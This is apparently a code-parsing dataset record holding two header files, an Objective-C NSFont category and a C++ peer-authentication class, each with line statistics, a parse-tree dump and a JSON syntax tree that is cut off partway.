// // NSFont+DokiboxAdditions.h // dokibox // // Created by <NAME> on 13/03/2015. // Copyright (c) 2015 <NAME> and contributors. All rights reserved. // // #import <Cocoa/Cocoa.h> @interface NSFont (DokiboxAdditions) + (NSFont *)italicSystemFontOfSize:(CGFloat)fontSize; @end
22.33
12
(translation_unit) "//\n// NSFont+DokiboxAdditions.h\n// dokibox\n//\n// Created by <NAME> on 13/03/2015.\n// Copyright (c) 2015 <NAME> and contributors. All rights reserved.\n//\n//\n\n#import <Cocoa/Cocoa.h>\n\n@interface NSFont (DokiboxAdditions)\n\n+ (NSFont *)italicSystemFontOfSize:(CGFloat)fontSize;\n\n@end\n" (comment) "//" (comment) "// NSFont+DokiboxAdditions.h" (comment) "// dokibox" (comment) "//" (comment) "// Created by <NAME> on 13/03/2015." (comment) "// Copyright (c) 2015 <NAME> and contributors. All rights reserved." (comment) "//" (comment) "//" (preproc_call) "#import <Cocoa/Cocoa.h>\n" (preproc_directive) "#import" (preproc_arg) "<Cocoa/Cocoa.h>" (ERROR) "@interface NSFont (DokiboxAdditions)\n\n+ (NSFont *)italicSystemFontOfSize:(" (ERROR) "@" (type_identifier) "interface" (function_declarator) "NSFont (DokiboxAdditions)" (identifier) "NSFont" (parameter_list) "(DokiboxAdditions)" (() "(" (identifier) "DokiboxAdditions" ()) ")" (unary_expression) "+ (NSFont *)italicSystemFontOfSize" (+) "+" (cast_expression) "(NSFont *)italicSystemFontOfSize" (() "(" (type_descriptor) "NSFont *" (type_identifier) "NSFont" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "italicSystemFontOfSize" (:) ":" (() "(" (declaration) "CGFloat)fontSize;" (type_identifier) "CGFloat" (ERROR) ")" ()) ")" (identifier) "fontSize" (;) ";" (ERROR) "@" (ERROR) "@" (expression_statement) "end" (identifier) "end" (;) ""
44
5
{"language": "c", "success": true, "metadata": {"lines": 12, "avg_line_length": 22.33, "nodes": 23, "errors": 0, "source_hash": "b213800dd9820c49cb069bb773db2e1dac8a7bc95dbf2f0001e4d939151f19e2", "categorized_nodes": 12}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <Cocoa/Cocoa.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#import", "parent": 0, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "<Cocoa/Cocoa.h>", "parent": 0, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 23}}, {"id": 3, "type": "ERROR", "text": "@interface NSFont (DokiboxAdditions)\n\n+ (NSFont *)italicSystemFontOfSize:(", "parent": null, "children": [4, 5, 6, 10], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 13, "column": 36}}, {"id": 4, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 1}}, {"id": 5, "type": "type_identifier", "text": "interface", "parent": 3, "children": [], "start_point": {"row": 11, "column": 1}, "end_point": {"row": 11, "column": 10}}, {"id": 6, "type": "function_declarator", "text": "NSFont (DokiboxAdditions)", "parent": 3, "children": [7, 8], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 36}}, {"id": 7, "type": "identifier", "text": "NSFont", "parent": 6, "children": [], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 17}}, {"id": 8, "type": "parameter_list", "text": "(DokiboxAdditions)", "parent": 6, "children": [9], "start_point": {"row": 11, "column": 18}, "end_point": {"row": 11, "column": 36}}, {"id": 9, "type": "identifier", "text": "DokiboxAdditions", "parent": 8, "children": [], "start_point": {"row": 11, "column": 19}, "end_point": {"row": 11, "column": 35}}, {"id": 10, "type": "unary_expression", "text": "+ (NSFont *)italicSystemFontOfSize", "parent": 3, "children": [11, 12], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 34}}, {"id": 11, "type": "+", "text": "+", "parent": 10, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 12, "type": "cast_expression", "text": "(NSFont *)italicSystemFontOfSize", "parent": 10, "children": [13, 17], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 34}}, {"id": 13, "type": "type_descriptor", "text": "NSFont *", "parent": 12, "children": [14, 15], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 11}}, {"id": 14, "type": "type_identifier", "text": "NSFont", "parent": 13, "children": [], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 9}}, {"id": 15, "type": "abstract_pointer_declarator", "text": "*", "parent": 13, "children": [16], "start_point": {"row": 13, "column": 10}, "end_point": {"row": 13, "column": 11}}, {"id": 16, "type": "*", "text": "*", "parent": 15, "children": [], "start_point": {"row": 13, "column": 10}, "end_point": {"row": 13, "column": 11}}, {"id": 17, "type": "identifier", "text": "italicSystemFontOfSize", "parent": 12, "children": [], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 34}}, {"id": 18, "type": "declaration", "text": "CGFloat)fontSize;", "parent": null, "children": [19, 20], "start_point": {"row": 13, "column": 36}, "end_point": {"row": 13, "column": 53}}, {"id": 19, "type": "type_identifier", "text": "CGFloat", "parent": 18, "children": [], "start_point": {"row": 13, "column": 36}, "end_point": {"row": 13, "column": 43}}, {"id": 20, "type": "identifier", "text": "fontSize", "parent": 18, "children": [], "start_point": {"row": 13, "column": 44}, "end_point": {"row": 13, "column": 52}}, {"id": 21, "type": "ERROR", "text": "@", "parent": null, "children": [22], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}, {"id": 22, "type": "ERROR", "text": "@", "parent": 21, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}]}, "node_categories": {"declarations": {"functions": [6], "variables": [18], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [10, 12], "assignments": [], "loops": [], "conditionals": [5, 7, 9, 14, 17, 19, 20], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "unknown", "text_snippet": "NSFont (DokiboxAdditions)"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// NSFont+DokiboxAdditions.h\n// dokibox\n//\n// Created by <NAME> on 13/03/2015.\n// Copyright (c) 2015 <NAME> and contributors. All rights reserved.\n//\n//\n\n#import <Cocoa/Cocoa.h>\n\n@interface NSFont (DokiboxAdditions)\n\n+ (NSFont *)italicSystemFontOfSize:(CGFloat)fontSize;\n\n@end\n"}
81,142
c
#pragma once #include "crypto/ECDH.h" #include "overlay/Peer.h" #include "overlay/PeerSharedKeyId.h" #include "util/lrucache.hpp" #include "xdr/vii-types.h" namespace viichain { class PeerAuth { Application& mApp; Curve25519Secret mECDHSecretKey; Curve25519Public mECDHPublicKey; AuthCert mCert; cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache; HmacSha256Key getSharedKey(Curve25519Public const& remotePublic, Peer::PeerRole role); public: PeerAuth(Application& app); AuthCert getAuthCert(); bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert); HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic, uint256 const& localNonce, uint256 const& remoteNonce, Peer::PeerRole role); HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic, uint256 const& localNonce, uint256 const& remoteNonce, Peer::PeerRole role); }; }
35.91
33
(translation_unit) "#pragma once\n\n#include "crypto/ECDH.h"\n#include "overlay/Peer.h"\n#include "overlay/PeerSharedKeyId.h"\n#include "util/lrucache.hpp"\n#include "xdr/vii-types.h"\n\n\nnamespace viichain\n{\nclass PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n};\n}\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "crypto/ECDH.h"\n" (#include) "#include" (string_literal) ""crypto/ECDH.h"" (") """ (string_content) "crypto/ECDH.h" (") """ (preproc_include) "#include "overlay/Peer.h"\n" (#include) "#include" (string_literal) ""overlay/Peer.h"" (") """ (string_content) "overlay/Peer.h" (") """ (preproc_include) "#include "overlay/PeerSharedKeyId.h"\n" (#include) "#include" (string_literal) ""overlay/PeerSharedKeyId.h"" (") """ (string_content) "overlay/PeerSharedKeyId.h" (") """ (preproc_include) "#include "util/lrucache.hpp"\n" (#include) "#include" (string_literal) ""util/lrucache.hpp"" (") """ (string_content) "util/lrucache.hpp" (") """ (preproc_include) "#include "xdr/vii-types.h"\n" (#include) "#include" (string_literal) ""xdr/vii-types.h"" (") """ (string_content) "xdr/vii-types.h" (") """ (function_definition) "namespace viichain\n{\nclass PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n};\n}" (type_identifier) "namespace" (identifier) "viichain" (compound_statement) "{\nclass PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n};\n}" ({) "{" (function_definition) "class PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n}" (type_identifier) "class" (identifier) "PeerAuth" (compound_statement) "{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n}" ({) "{" (expression_statement) "Application& mApp;" (binary_expression) "Application& mApp" (identifier) "Application" (&) "&" (identifier) "mApp" (;) ";" (declaration) "Curve25519Secret mECDHSecretKey;" (type_identifier) "Curve25519Secret" (identifier) "mECDHSecretKey" (;) ";" (declaration) "Curve25519Public mECDHPublicKey;" (type_identifier) "Curve25519Public" (identifier) "mECDHPublicKey" (;) ";" (declaration) "AuthCert mCert;" (type_identifier) "AuthCert" (identifier) "mCert" (;) ";" (labeled_statement) "cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;" (statement_identifier) "cache" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;" (comma_expression) "lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache" (binary_expression) "lru_cache<PeerSharedKeyId" (identifier) "lru_cache" (<) "<" (identifier) "PeerSharedKeyId" (,) "," (binary_expression) "HmacSha256Key> mSharedKeyCache" (identifier) "HmacSha256Key" (>) ">" (identifier) "mSharedKeyCache" (;) ";" (declaration) "HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);" (type_identifier) "HmacSha256Key" (function_declarator) "getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role)" (identifier) "getSharedKey" (parameter_list) "(Curve25519Public const& remotePublic,\n Peer::PeerRole role)" (() "(" (parameter_declaration) "Curve25519Public const& remotePublic" (type_identifier) "Curve25519Public" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "remotePublic" (,) "," (parameter_declaration) "Peer::PeerRole role" (type_identifier) "Peer" (ERROR) "::PeerRole" (:) ":" (:) ":" (identifier) "PeerRole" (identifier) "role" ()) ")" (;) ";" (labeled_statement) "public:\n PeerAuth(Application& app);" (statement_identifier) "public" (:) ":" (expression_statement) "PeerAuth(Application& app);" (call_expression) "PeerAuth(Application& app)" (identifier) "PeerAuth" (argument_list) "(Application& app)" (() "(" (binary_expression) "Application& app" (identifier) "Application" (&) "&" (identifier) "app" ()) ")" (;) ";" (declaration) "AuthCert getAuthCert();" (type_identifier) "AuthCert" (function_declarator) "getAuthCert()" (identifier) "getAuthCert" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);" (primitive_type) "bool" (function_declarator) "verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert)" (identifier) "verifyRemoteAuthCert" (parameter_list) "(NodeID const& remoteNode, AuthCert const& cert)" (() "(" (parameter_declaration) "NodeID const& remoteNode" (type_identifier) "NodeID" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "remoteNode" (,) "," (parameter_declaration) "AuthCert const& cert" (type_identifier) "AuthCert" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "cert" ()) ")" (;) ";" (declaration) "HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);" (type_identifier) "HmacSha256Key" (function_declarator) "getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)" (identifier) "getSendingMacKey" (parameter_list) "(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)" (() "(" (parameter_declaration) "Curve25519Public const& remotePublic" (type_identifier) "Curve25519Public" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "remotePublic" (,) "," (parameter_declaration) "uint256 const& localNonce" (type_identifier) "uint256" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "localNonce" (,) "," (parameter_declaration) "uint256 const& remoteNonce" (type_identifier) "uint256" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "remoteNonce" (,) "," (parameter_declaration) "Peer::PeerRole role" (type_identifier) "Peer" (ERROR) "::PeerRole" (:) ":" (:) ":" (identifier) "PeerRole" (identifier) "role" ()) ")" (;) ";" (declaration) "HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);" (type_identifier) "HmacSha256Key" (function_declarator) "getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)" (identifier) "getReceivingMacKey" (parameter_list) "(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)" (() "(" (parameter_declaration) "Curve25519Public const& remotePublic" (type_identifier) "Curve25519Public" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "remotePublic" (,) "," (parameter_declaration) "uint256 const& localNonce" (type_identifier) "uint256" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "localNonce" (,) "," (parameter_declaration) "uint256 const& remoteNonce" (type_identifier) "uint256" (type_qualifier) "const" (const) "const" (ERROR) "&" (&) "&" (identifier) "remoteNonce" (,) "," (parameter_declaration) "Peer::PeerRole role" (type_identifier) "Peer" (ERROR) "::PeerRole" (:) ":" (:) ":" (identifier) "PeerRole" (identifier) "role" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}"
229
13
{"language": "c", "success": true, "metadata": {"lines": 33, "avg_line_length": 35.91, "nodes": 120, "errors": 0, "source_hash": "2704b92c560e0f58e86cd90dc70eea876cfb255e4ec16ef55279087138d2a303", "categorized_nodes": 104}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include \"crypto/ECDH.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"crypto/ECDH.h\"", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 24}}, {"id": 6, "type": "preproc_include", "text": "#include \"overlay/Peer.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"overlay/Peer.h\"", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 25}}, {"id": 9, "type": "preproc_include", "text": "#include \"overlay/PeerSharedKeyId.h\"\n", "parent": null, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"overlay/PeerSharedKeyId.h\"", "parent": 9, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 36}}, {"id": 12, "type": "preproc_include", "text": "#include \"util/lrucache.hpp\"\n", "parent": null, "children": [13, 14], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"util/lrucache.hpp\"", "parent": 12, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 28}}, {"id": 15, "type": "preproc_include", "text": "#include \"xdr/vii-types.h\"\n", "parent": null, "children": [16, 17], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"xdr/vii-types.h\"", "parent": 15, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 26}}, {"id": 18, "type": "function_definition", "text": "namespace viichain\n{\nclass PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n};\n}", "parent": null, "children": [19, 20], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 39, "column": 1}}, {"id": 19, "type": "type_identifier", "text": "namespace", "parent": 18, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 9}}, {"id": 20, "type": "identifier", "text": "viichain", "parent": 18, "children": [], "start_point": {"row": 9, "column": 10}, "end_point": {"row": 9, "column": 18}}, {"id": 21, "type": "function_definition", "text": "class PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n}", "parent": 18, "children": [22], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 38, "column": 1}}, {"id": 22, "type": "identifier", "text": "PeerAuth", "parent": 21, "children": [], "start_point": {"row": 11, "column": 6}, "end_point": {"row": 11, "column": 14}}, {"id": 23, "type": "binary_expression", "text": "Application& mApp", "parent": 21, "children": [24, 25], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 21}}, {"id": 24, "type": "identifier", "text": "Application", "parent": 23, "children": [], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 15}}, {"id": 25, "type": "identifier", "text": "mApp", "parent": 23, "children": [], "start_point": {"row": 14, "column": 17}, "end_point": {"row": 14, "column": 21}}, {"id": 26, "type": "declaration", "text": "Curve25519Secret mECDHSecretKey;", "parent": 21, "children": [27, 28], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 36}}, {"id": 27, "type": "type_identifier", "text": "Curve25519Secret", "parent": 26, "children": [], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 20}}, {"id": 28, "type": "identifier", "text": "mECDHSecretKey", "parent": 26, "children": [], "start_point": {"row": 15, "column": 21}, "end_point": {"row": 15, "column": 35}}, {"id": 29, "type": "declaration", "text": "Curve25519Public mECDHPublicKey;", "parent": 21, "children": [30, 31], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 36}}, {"id": 30, "type": "type_identifier", "text": "Curve25519Public", "parent": 29, "children": [], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 20}}, {"id": 31, "type": "identifier", "text": "mECDHPublicKey", "parent": 29, "children": [], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 35}}, {"id": 32, "type": "declaration", "text": "AuthCert mCert;", "parent": 21, "children": [33, 34], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 19}}, {"id": 33, "type": "type_identifier", "text": "AuthCert", "parent": 32, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 12}}, {"id": 34, "type": "identifier", "text": "mCert", "parent": 32, "children": [], "start_point": {"row": 17, "column": 13}, "end_point": {"row": 17, "column": 18}}, {"id": 35, "type": "labeled_statement", "text": "cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;", "parent": 21, "children": [36], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 69}}, {"id": 36, "type": "statement_identifier", "text": "cache", "parent": 35, "children": [], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 9}}, {"id": 37, "type": "comma_expression", "text": "lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache", "parent": 35, "children": [38, 42], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 68}}, {"id": 38, "type": "binary_expression", "text": "lru_cache<PeerSharedKeyId", "parent": 37, "children": [39, 40, 41], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 36}}, {"id": 39, "type": "identifier", "text": "lru_cache", "parent": 38, "children": [], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 20}}, {"id": 40, "type": "<", "text": "<", "parent": 38, "children": [], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 21}}, {"id": 41, "type": "identifier", "text": "PeerSharedKeyId", "parent": 38, "children": [], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 36}}, {"id": 42, "type": "binary_expression", "text": "HmacSha256Key> mSharedKeyCache", "parent": 37, "children": [43, 44, 45], "start_point": {"row": 19, "column": 38}, "end_point": {"row": 19, "column": 68}}, {"id": 43, "type": "identifier", "text": "HmacSha256Key", "parent": 42, "children": [], "start_point": {"row": 19, "column": 38}, "end_point": {"row": 19, "column": 51}}, {"id": 44, "type": ">", "text": ">", "parent": 42, "children": [], "start_point": {"row": 19, "column": 51}, "end_point": {"row": 19, "column": 52}}, {"id": 45, "type": "identifier", "text": "mSharedKeyCache", "parent": 42, "children": [], "start_point": {"row": 19, "column": 53}, "end_point": {"row": 19, "column": 68}}, {"id": 46, "type": "declaration", "text": "HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);", "parent": 21, "children": [47, 48], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 22, "column": 52}}, {"id": 47, "type": "type_identifier", "text": "HmacSha256Key", "parent": 46, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 17}}, {"id": 48, "type": "function_declarator", "text": "getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role)", "parent": 46, "children": [49, 50], "start_point": {"row": 21, "column": 18}, "end_point": {"row": 22, "column": 51}}, {"id": 49, "type": "identifier", "text": "getSharedKey", "parent": 48, "children": [], "start_point": {"row": 21, "column": 18}, "end_point": {"row": 21, "column": 30}}, {"id": 50, "type": "parameter_list", "text": "(Curve25519Public const& remotePublic,\n Peer::PeerRole role)", "parent": 48, "children": [51, 54], "start_point": {"row": 21, "column": 30}, "end_point": {"row": 22, "column": 51}}, {"id": 51, "type": "parameter_declaration", "text": "Curve25519Public const& remotePublic", "parent": 50, "children": [52, 53], "start_point": {"row": 21, "column": 31}, "end_point": {"row": 21, "column": 67}}, {"id": 52, "type": "type_identifier", "text": "Curve25519Public", "parent": 51, "children": [], "start_point": {"row": 21, "column": 31}, "end_point": {"row": 21, "column": 47}}, {"id": 53, "type": "identifier", "text": "remotePublic", "parent": 51, "children": [], "start_point": {"row": 21, "column": 55}, "end_point": {"row": 21, "column": 67}}, {"id": 54, "type": "parameter_declaration", "text": "Peer::PeerRole role", "parent": 50, "children": [55, 56, 58], "start_point": {"row": 22, "column": 31}, "end_point": {"row": 22, "column": 50}}, {"id": 55, "type": "type_identifier", "text": "Peer", "parent": 54, "children": [], "start_point": {"row": 22, "column": 31}, "end_point": {"row": 22, "column": 35}}, {"id": 56, "type": "ERROR", "text": "::PeerRole", "parent": 54, "children": [57], "start_point": {"row": 22, "column": 35}, "end_point": {"row": 22, "column": 45}}, {"id": 57, "type": "identifier", "text": "PeerRole", "parent": 56, "children": [], "start_point": {"row": 22, "column": 37}, 